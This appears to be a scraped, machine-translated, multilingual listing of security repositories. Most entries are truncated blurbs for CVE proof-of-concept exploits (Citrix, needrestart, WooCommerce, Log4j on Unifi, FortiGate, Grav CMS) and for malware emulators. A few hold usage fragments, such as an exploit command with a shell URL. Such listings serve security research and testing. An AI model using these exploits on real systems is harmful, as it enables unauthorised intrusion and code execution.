speakeasy

Speakeasy Speakeasy è un framework di emulazione di malware Windows che esegue binari, driver e shellcode in un runtime Windows modellizzato invece di una macchina virtuale completa. Emula API, comportamento di processi/thread, filesystem, registro di sistema e attività di rete, consentendo ai...

CVE-2019-19781

CVE-2019-19781 Citrix Netscaler RCE...

needrestart-sudo-escalate-cve-2024-4890

CVE-2024-4890: needrestart Sudo-Privilegienerweiterung PoC Haftungsausschluss Nur für Labornutzung in kontrollierten Umgebungen. Nutzen Sie dies nicht auf Produktionssystemen ohne ausdrückliche Genehmigung. Dieser PoC dient ausschließlich zu Bildungszwecken. Der Autor übernimmt keine Verantwortun...

CVE-2025-48148

CVE-2025-48148 StoreKeeper for WooCommerce = 14.4.4 - Upload Arbitrário de Arquivo Não Autenticado 🚀 StoreKeeper for WooCommerce = 14.4.4 - Exploit de Upload Arbitrário de Arquivo Não Autenticado 📝 Descrição O plugin StoreKeeper for WooCommerce para WordPress é vulnerável a uploads arbitrários de...

CVE-2021-22941

Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Riferimento https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

CVE-2016-2067

EXPLOIT IOMMU DMA DELLA GPU ADRENO Testato su Nexus 6p google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys Informazioni sul bug Discusso nel 2016 tramite Blackhat EU Informazioni sull'exploit Con scritture iommu dma, vdso.so viene sovrascritto con shellcode. Quindi dopo che /init esegue...

Log4jUnifi

Log4jUnifi Sfruttamento di CVE-2021-44228 nella Unifi Network Application per esecuzione remota di codice e altro. Another Log4j on the fire: Unifi Perché? Le prove di concetto per questa vulnerabilità sono sparse e devono essere eseguite manualmente. Questo repository automatizza il processo di...

Jenkins_CVE-2019-1003000

JenkinsScript-SecurityPipelinePlugin-Remote-Code-Ausführungs-SicherheitslückeCVE-2019-1003000 pocsuite-Version...

firstexecution

firstexecution Coleção de diferentes maneiras de executar código fora dos pontos de entrada esperados...

cobaltstrike_swing_xss2rce

इस रिपॉजिटरी में README नहीं है।...

CVE-2024-23113

CVE-2024-23113 Lo script è progettato per rilevare CVE-2024-23113, una vulnerabilità di formato stringa nel servizio FGFM di FortiGate protocollo FortiGate-to-FortiManager in esecuzione sulla porta TCP 541. La vulnerabilità si verifica perché un attaccante può controllare una stringa di formato, ...

CVE-2022-21350

لماذا اثنين من POC؟ واحد يحوي com.51pwn.hktalent.CreatJar.mainargs; يُستخدم لإنشاء أداة توليد البايلود الأدنى بعد الإنشاء، استخدم الآخر عند تشغيل CVE-2022-21350powerBy51pwn.jar، أخطاء بناء البايلود لا تؤثر على استخدام البايلود. استغلالات أخرى root@kitploit: CVE20202551 CVE20202555 CVE20202883...

CVE-2021-21551

CVE-2021-21551 Ein PoC, der den Dell dbutil23 Treiber ausnutzt. Erzielt Codeausführung auf einem System, das HVCI deaktiviert hat, wie unten gezeigt: Ouptut: Der Artikel zu diesem Code ist hier zu finden: https://ch3rn0byl.com/2021/05/a-dell-cve-2021-21551/...

CVE-2022-21306

CVE-2022-21306 POC, EXP, chatGPT per me: possono solo dare qualche spunto, tutti inutilizzabili codice root@kitploit: import json import requests targeturl = "http://127.0.0.1:7001" headers = 'User-Agent': 'Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko...

dumpulator

dumpulator Nota: Questo è un prototipo in fase di sviluppo, trattatelo come tale. Le pull request sono benvenute! Potete iniziare conbuone prime issue Una libreria facile da usare per emulare codice in file minidump. Ecco alcuni link a post/video che utilizzano dumpulator: Video introduttivo con...

CVE-2022-20699

CVE-2022-20699 🎧 Trazido a você pelo Audiobahn Cisco Anyconnect VPN unauth RCE rwx stack não está bem verificado...

CVE-2011-2523

CVE-2011-2523 Questi sono appunti per la creazione della metodologia di attacco in un ambiente controllato. Si parte dal presupposto che l'esercizio sia in scatola nera, quindi non conosco informazioni sul sistema vittima. 1- Scaricare le ISO necessarie sia di Metasploitable2 che di Kali o...

firepwner

CVE-2015-6357: Exploit FirePWNER per la vulnerabilità di convalida SSL di Cisco FireSIGHT Management Center Introduzione Da sola, la vulnerabilità di convalida dei certificati di Cisco FireSIGHT Management Center è una vulnerabilità di gravità media con un CVSS di 5.1. Tuttavia, questa...

CVE-2015-0057

Ausnutzung von CVE-2015-0057 auf 32-Bit- und 64-Bit-Systemen Autor: Aaron Adams Übersetzung: 55-AA Anmerkung des Übersetzers: Teile dieses Artikels wurden sinngemäß übersetzt; bei Fragen siehe Original. Begriffe: Operationsprimitive: Ähnlich einer Funktion, eine Sammlung von Korruptionsoperatione...

Graver

Graver Descrizione Script Proof of Concept per sfruttare la SSTI+RCE autenticata in Grav CMS CVE-2024-28116. Crea una pagina RCE malevola sul server che esegue il Grav CMS vulnerabile. Riferimenti: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 Note Poiché è una vulnerabilità autenticata, è...